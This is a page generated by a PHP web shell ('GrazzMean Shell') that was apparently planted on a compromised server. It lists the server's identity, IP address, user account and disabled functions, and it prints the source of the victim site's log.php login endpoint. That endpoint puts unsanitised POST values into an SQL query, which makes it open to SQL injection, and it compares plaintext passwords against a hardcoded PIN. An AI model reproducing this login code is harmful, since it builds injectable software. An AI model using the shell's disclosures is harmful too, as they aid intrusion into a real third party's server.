shell bypass 403

GrazzMean Shell

Uname: Linux server.thebazaar99.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
Software: Apache
PHP version: 8.3.32 [ PHP INFO ] PHP os: Linux
Server Ip: 163.227.92.254
Your Ip: 216.73.217.24
User: gutlooks (1003) | Group: gutlooks (1005)
Safe Mode: OFF
Disable Function:
exec,passthru,shell_exec,system

name : log.php
<?php
//function autoload
        spl_autoload_register(function($class) {
  include("../admin_login/classess/".$class.".php");
});
        
        $sqlfun = new sqlfunction();
        $admin = new admin_login();
           if(isset($_POST['pin']) && $_POST['pin'] == "CA:DB:17:C3:E1:45:15:FA:D1:54:DD:56:EE:41:B4:E9:86:83:C9:95"){
               if(isset($_POST['mble']) && isset($_POST['pswd']) && isset($_POST['token']))
               {
                $mble = $_POST['mble'];
                $pswd = $_POST['pswd'];
                $token = $_POST['token'];
                $cnd = "p_mobile = '$mble' && pwdd = '$pswd'";
                $check = $sqlfun->fetchdata("player",$cnd);
                if($check->rowCount() > 0)
                    {
                        $cn = "p_mobile = '$mble'";
                        $da = array("device_token"=>$token);
                        $sqlfun->updated("player",$da,$cn);
                        
                        $row = $check->fetch(PDO::FETCH_OBJ);
                        unset($row->device_token);
                        echo json_encode(array("res"=>"success","msg"=>"login successful","data"=>$row));
                    }
                    else
                    {
                        echo json_encode(array("res"=>"failure","msg"=>"wrong credentials","data"=>new stdClass()));
                    }   
                }
                else
                {
                    echo json_encode(array("res"=>"failure","msg"=>"mobile  and password  not found","data"=>new stdClass()));
                }
           }
           else
           {
                 echo json_encode(array("res"=>"failure","msg"=>"param not found","data"=>new stdClass()));
           }
        ?>
© 2026 GrazzMean